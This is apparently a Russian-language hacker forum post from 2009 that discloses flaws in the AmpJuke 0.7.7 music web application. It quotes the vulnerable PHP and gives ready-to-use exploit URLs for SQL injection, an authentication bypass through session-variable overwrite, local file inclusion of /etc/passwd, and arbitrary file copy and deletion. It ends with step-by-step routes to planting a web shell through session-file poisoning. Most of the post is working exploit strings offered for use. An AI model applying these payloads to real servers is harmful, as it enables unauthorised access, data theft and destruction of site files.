| Iceangel_ |
26.04.2009 13:54 |
Уязвимости AmpJuke 0.7.7(latest version)
Уязвимости AmpJuke 0.7.7(latest version)
download: http://www.ampjuke.org/ampjuke-0.7.7.tar.gz
Предисловие:
На предыдущие версии движка, в паблике валяется только одна sql-инъекция... Ну посмотрим, что можно сделать в новой версии =)
1) [SQL-injection]
get_lyrics.php
уязвимый код:
PHP код:
parse_str($_SERVER["QUERY_STRING"]);
require("db.php");
require("sql.php");
require("disp.php");
$qry="SELECT id,name,performer_id FROM track WHERE id=".$id;
$result=execute_sql($qry,0,100000,$nr);
эксплуатирование:
Код:
get_lyrics.php?id=-1+union+select+1,version(),3--+
2) [bypass]
make_header.php
уязвимый код:
PHP код:
<?php
session_start();
parse_str($_SERVER["QUERY_STRING"]); //с помощью данной функции перезапишем нужные нам значения переменных в массиве $_SESSION
$ok=0;
if (isset($_SESSION['login'])) { $ok++; }
if (isset($_SESSION['passwd'])) { $ok++; }
?>
<?php
if ($ok!=2) {
session_destroy();
include_once("disp.php");
// 0.6.3: If we need to redirect (session timeout), but we have enabled "remember me"
// then remember the url parameters as well:
redir("login.php?".$_SERVER["QUERY_STRING"]);
exit;
}
эксплуатирование:
Код:
make_header.php?_SESSION[login]=<any symbols>&_SESSION[passwd]=<any symbols>
3) [LFI] (требования: magic_quotes=off )
1)make_header.php
уязвимый код:
PHP код:
$ret.=get_icon($_SESSION['icon_dir'],'favorite_add',$t); //вызов функции
disp.php
PHP код:
function get_icon($dir,$wanted_icon,$add_txt) {
global $icon_array;
// DEFAULT: return what we had until version 0.7.0: The small "mnu_arr.gif":
$ret='<img src="./ampjukeicons/mnu_arr.gif" border="0">';
$icon='';
$is_already_read=0;
// 0.7.3: Did we read this icon from disk previously ?
if (array_key_exists($wanted_icon,$icon_array)) {
$ret=$icon_array[$wanted_icon];
$is_already_read=1;
}
if ($is_already_read==0) {
if ((file_exists('./ampjukeicons/'.$dir.'/icon_index.php')) &&
(is_readable('./ampjukeicons/'.$dir.'/icon_index.php'))) {
include('./ampjukeicons/'.$dir.'/icon_index.php'); //сам инклуд
эксплуатирование:
Код:
make_header.php?_SESSION[login]=admin&_SESSION[passwd]=1222&_SESSION[icon_dir]=../../../../../../../etc/passwd%00
2)now_playing.php
уязвимый код
PHP код:
switch($_REQUEST['action']) {
case 'ampjuke_now_playing':
echo "ampjuke_now_playing|";
if (file_exists('./tmp/np'.$_REQUEST['user_id'].'.txt')) {
include('./tmp/np'.$_REQUEST['user_id'].'.txt');
эксплуатирование:
Код:
now_playing.php?action=ampjuke_now_playing&user_id=/../../../../../../etc/passwd%00
4) [Произвольное копирование файлов] (требования: magic_quotes=off)
amazon4.php
уязвимый код:
PHP код:
function ampjuke_save_cover($cover,$amazon_string) {
$handle=fopen($cover,"r");
$out_handle=fopen('./covers/'.$amazon_string.'.jpg', "w");
while (!feof($handle)) {
$data=fread($handle,4096);
fwrite($out_handle,$data);
}
fclose($handle);
fclose($out_handle);
}
if (file_exists('./covers/'.$amazon_string.'.jpg')) {
ampjuke_save_cover('./covers/'.$amazon_string.'.jpg',$amazon_album_id);
if (is_writable('./covers/'.$amazon_string.'.jpg')) { // get rid of 'old' cover ("name.jpg"):
unlink('./covers/'.$amazon_string.'.jpg');
}
}
эксплуатирование:
У уязвимости есть особенность, файл откуда производилось чтение, удаляется, так что осторожней с этой багой :)
Код:
amazon/amazon4.php?amazon_string=../../../../../../../../../../etc/passwd%00&amazon_album_id=../result.php%00
5) [Произвольное удаление файлов] (требования: magic_quotes=off)
loginvalidate.php
уязвимый код:
PHP код:
if ((!isset($_POST['uuid'])) || (!file_exists($_POST['uuid']))) {
echo 'Sorry. Cannot validate username+password. Please <a href="login.php">login again</a>';
die();
}
@unlink($_POST['uuid']);
эксплуатирование:
Если мы совсем уж вредные какеры, и нас хлебом не корми, дай что-нибудь удалить, то в POST-пакете отправляем скрипту uuid=index.php
[Загрузка шелла]
1) через сессии (общеизвестный, впринципе, способ)
Код:
make_header.php?_SESSION[login]=1222&_SESSION[passwd]=1222&_SESSION[shell]=<?php phpinfo(); ?>
и затем инклудим
Код:
now_playing.php?action=ampjuke_now_playing&user_id=/../../../../../../../../../../tmp/sess_<идентификатор сессии>%00
2) правка конфига sitecfg.php(требуется доступ в админ-панель)
дописываем к любому параметру "; phpinfo(); //
код запишется в db.php
3) через копирование файлов
заносим наш злой код в файл сессии
Код:
make_header.php?_SESSION[login]=1222&_SESSION[passwd]=1222&_SESSION[shell]=<?php phpinfo(); ?>
и копируем файл сессии в папку с сайтом
Код:
/amazon/amazon5.php?amazon_string=../../../../../../../../../../tmp/sess_<идентификатор сессии>&amazon_album_id=../shell.php%00
|